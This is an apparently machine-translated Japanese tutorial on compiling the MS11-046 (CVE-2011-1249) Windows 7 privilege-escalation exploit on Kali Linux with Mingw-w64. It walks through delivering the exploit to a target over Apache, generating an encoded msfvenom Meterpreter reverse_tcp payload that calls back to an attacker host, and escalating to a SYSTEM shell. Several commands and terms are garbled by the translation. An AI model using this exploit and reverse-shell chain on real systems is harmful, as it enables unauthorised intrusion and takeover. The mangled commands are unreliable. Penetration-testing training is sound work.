Kali LinuxでWindowsエクスプロイトをコンパイルする方法
Kali LinuxでWindowsエクスプロイトをコンパイルする方法!
Mingw-w64は、Windowsアプリケーションを作成するための、フリーでオープンソースのソフトウェア開発環境です。Mingw-w64は元々Mingw32と呼ばれており、当時は64ビットアーキテクチャをサポートしていませんでした。このチュートリアルでは、Mingw-64を使用してKali Linux上でWindowsエクスプロイトをコンパイルする方法について説明します。それでは、Kali LinuxにMingw-w64をインストールするところから始めましょう。
Mingw-w64は、Windowsアプリケーションを作成するためのフリーでオープンソースのソフトウェア開発環境です。Mingw-w64は元々Mingw32と呼ばれており、当時は64ビットアーキテクチャをサポートしていませんでした。
このチュートリアルでは、Mingw-64 を使用して Kali Linux 上で Windows エクスプロイトをコンパイルする方法について説明します。それでは、Kali LinuxにMingw-w64をインストールするところから始めましょう。
1. Kali LinuxへのMingw-w64のインストール
Kali Linux 2016.2以下では、デフォルトでMingw-w64はインストールされていません。したがって、Linux上でWindowsエクスプロイトをコンパイルする前に、まずそれをインストールする必要があります。以下のコマンドを実行し、Mingw-w64をインストールします。
apt-get update apt-get install mingw-w64
apt-get install mingw-w64 を使用して、Kali ホストに mingw-w64 をインストールします。
yes に y を入力して確定し、Mingw-w64 のインストール作業を続行します。Mingw-w64のダウンロードとインストールにはしばらく時間がかかる場合があります。
2. mingw-w64というパッケージの解決策が見つからない
mingw-w64 パッケージをインストールしようとしたときに、mingw-w64 パッケージが見つからないというエラーが発生し、以下のようなプロンプトが表示されることがあります。
root@kali:~# apt-getinstall mingw-w64 Reading package lists...Done Building dependency tree Reading stateinformation... Done E: Unable to locatepackage mingw-w64
この問題を解決するには、sources.list ファイルに正しいリポジトリが含まれていることを確認します。nano を使用して、このファイルを編集することができます。
/etc/apt/sources.list
このファイルに正しいリポジトリがあることを確認してください。Kali Linux の異なるバージョンのリポジトリは以下のページで確認できます。
http://docs.kali.org/general-use/kali-linux-sources-list-repositories
sources.list ファイルから正しいリポジトリを使用するには、apt-get update を実行してから、Mingw-w64 パッケージのインストールコマンドを再度実行する必要があります。
3. Mingw-w64によるWindowsエクスプロイトのクロスコンパイル
Mingw-w64がインストールされたので、Windowsエクスプロイトのコンパイルを開始します。このチュートリアルでは、Windows 7 SP0 x86のCVE-2011-1249(MS11-046)脆弱性を悪用するために、C言語で書かれたWindowsエクスプロイトをコンパイルします。このバージョンのWindowsオペレーティングシステムには、Accessibility Feature Driver (AFD) に、認証された非管理者ユーザーによる特権の昇格を可能にする脆弱性が存在します。Mingw-w64は、大いに必要とされる64ビットサポートのために開発されたにもかかわらず、我々は32ビットWindowsの脆弱性をコンパイルすることができます。32ビットWindowsのエクスプロイトをコンパイルする方法を見てみましょう。
Exploit-dbからexploitをダウンロードしましょう。
wget --output-document= 40564.c https://www.exploit-db.com/download/40564
以下のコマンドを使用して、Windows 32ビット用のafd.sys exploitをコンパイルします。
i686-w64-mingw32-gcc [入力ファイル: source]-o [出力ファイル: .exe]-lws2_32
以下のコマンドは、Windows 7 の afd.sys の特権昇格の脆弱性をコンパイルするものです。
i686-w64-mingw32-gcc 40564.c -o exploit.exe -lws2_32
Windowsの脆弱性をコンパイルする。
ターゲット ホストにエクスプロイトを移動するために、組み込みの Apache Web サーバーを使用してそれを提供します。最後の2つのコマンドは、exploitをApacheのホームディレクトリにコピーし、Apache Webサーバーを開始します。
cmd.exeからexploitをダウンロードし実行すると、以下のようになります。
エクスプロイトが正常に実行されました。
なぜなら、whoamiコマンドはexploitを実行する前は通常のユーザー権限を返し、実行後はシステムユーザー権限を示していることがわかるからです。このエクスプロイトでは、新しいウィンドウで新しいシェルを作成するのではなく、現在のシェルで実際に新しいシェルを生成します。つまり、Meterpreterなどのコマンドラインシェルからこのエクスプロイトを実行することも可能です。
4. コンパイルエラーを利用する
異なるアーキテクチャやOSに対して脆弱性をコンパイルする場合、多くのエラーが発生する可能性があります。コンパイルに失敗する要因は、構文、ライブラリ、ホストとターゲットのアーキテクチャ、コンパイルに使用したインストール済みのソフトウェアなど、多岐にわたります。エラーは簡単に修正できるものもあれば、そうでないものもあります。また、致命的なエラーと異なる警告が出ることも重要です。警告は、脆弱性の動作を妨げない範囲で、同様に古くなった機能を示しているだけの場合があるからです。致命的なエラーは、エクスプロイトが機能しなくなるため、修正する必要があります。
コンパイルエラーに対処する最善の方法は、よく読んでからGoogleで解決策を検索することです。通常、特定のコンパイルエラーに直面するのはあなただけではありませんから、車輪の再発明をする必要はありません。オンラインリソース(Stack Swapなど)には、最も一般的なコンパイルエラーに対する可能な解決策が掲載されていることがよくあります。
5. MeterpreterシェルからMS11-046を活用する
Msfvenom を使用して、Windows 32 ビット Meterpreter 逆引き TCP ペイロードをすばやく生成し、ターゲット ホストで実行しましょう。Metasploitのマルチプロセッサを使用して、リバースシェルをキャプチャします。
Msfvenomを使用して、以下のコマンドでペイロードを作成します。
msfvenom -a x86 -platform Windows -p windows/meterpreter/reverse_tcpLHOST=[IP attackbox] LPORT=4444 -e x86/shikata_ga_nai-fはexe -o exploit.exe
リスニングホストのIPと、必要であればリスニングポートを必ず変更してください。ここで msfconsole を起動し、次のコマンドを実行してマルチプロセッサ エクスプロイトをセットアップします。
exploit/multi/handler を使用する set lhost [リスニングホスト IP] set lport 4444 run
ポート4444でリバースTCPハンドラを起動します。
次に、ターゲットホストにエクスプロイトをダウンロードし、実行します。すべてが正しく設定されていれば、msfconsoleでリバースMeterpreterシェルが
ターゲットホストが Kali に接続し直します。
Meterpreter のコマンドラインで次の "shell" コマンドを実行し、特権昇格エクスプロイトを実行して、シェルをシステムシェルにアップグレードします。
Meterpreter のセッションを通じて、特権昇格攻撃が成功しました。
ご覧の通り、シェルは特権を持つテストユーザーシェルからシステムシェルに変化します。なお、新しいシステムシェルは、それを実行するシェルで生成されます。したがって、exploit の出力は制限された特権を持つ古いシェルにあるため、見ることができないのです。
Exit と入力すると、システム シェルが終了し、Windows 7 の特権昇格エクスプロイトの出力が残っているユーザー シェルに戻ります。
特権ユーザーシェルでのexploitの出力です。
学習内容
このチュートリアルでは、Windowsに対する脆弱性をLinux上でクロスコンパイルするための基本的な方法を学びました。Kali Linux に Mingw-w64 をインストールする方法と、最も一般的なインストールの問題を解決する方法を学びました。脆弱性のコンパイルプロセスを練習するために、Windows 7 x86に対する特権昇格の脆弱性をコンパイルしました。これは、クロスコンパイルとしても知られています。
コンパイルした実行ファイルをターゲットホスト上で実行し、シェルを制限付きユーザシェルからシステムシェルにアップグレードすることに成功しました。この特定のエクスプロイトが、エクスプロイトが実行されるシェルを生成することはすでに分かっています。これにより、コマンドライン(例:Meterpreter シェル)からエクスプロイトを実行し、特権昇格エクスプロイトを実行することも可能です。
最後になりましたが、コンパイル時のバグを修正する方法を学びました。
関連
-
Unisys UOSのシステムディスクを非表示にするには?Unisys UOSのCドライブを非表示にする方法に関するヒント
-
コンテナのメモリ使用量のシステムキャッシュの紹介
-
最新のXFCEデスクトップをインストールするためのチュートリアル
-
vmware仮想マシン上に64ビットOSを構築 このホストはIntel VT-xをサポートしていますが、Intel VT-xは無効になっています。
-
Hyper-V仮想マシンを開くことができず、「Connected Server/Invalid Class」と表示される場合はどうすればよいですか?
-
ZTEの新しいピボットOSは、新機能でLongxin 3A3000を完全サポート
-
UGでソリッドパーツに傾斜溝を作成する方法は?
-
DaBaiCai Uディスクのバックアップ回復システムのチュートリアル DaBaiCai Uディスクどのようにバックアップ回復システムへ
-
VMware仮想マシンがUSBデバイスを見つけられない場合、どうすればよいですか?
-
KVM仮想マシンの共通コマンド
最新
-
nginxです。[emerg] 0.0.0.0:80 への bind() に失敗しました (98: アドレスは既に使用中です)
-
htmlページでギリシャ文字を使うには
-
ピュアhtml+cssでの要素読み込み効果
-
純粋なhtml + cssで五輪を実現するサンプルコード
-
ナビゲーションバー・ドロップダウンメニューのHTML+CSSサンプルコード
-
タイピング効果を実現するピュアhtml+css
-
htmlの選択ボックスのプレースホルダー作成に関する質問
-
html css3 伸縮しない 画像表示効果
-
トップナビゲーションバーメニュー作成用HTML+CSS
-
html+css 実装 サイバーパンク風ボタン
おすすめ
-
uosにWeChatをインストールする方法は?uosにWeChatをインストールする方法についてのチュートリアル
-
どのようにコンピュータのブートソフトウェアの自動起動win7/win10を迅速にオフにするには、ブートセルフスタートソフトウェアをオフにする
-
Unisys UOS Home Edition、パーティションなしの完全自動インストールで社内テストを開始
-
ユーザーが追加したフォントを Unison UOS にエクスポートするには?UOS フォントエクスポートのヒント
-
Deep OS 15.5」の正式なバージョンは?新機能は何ですか?(ダウンロードアドレス付き)
-
VMWare仮想マシン上でLinuxをフルスクリーン表示できない問題の解決法
-
VMwareの仮想マシンのインストール方法と使用方法
-
MeeGo と Windows 7 のデュアル システムをインストールするには?
-
vmware 10にMac 10.8をインストールする:グラフィックのチュートリアル
-
DockerfileスクリプトをDockerで使用するための基本ガイド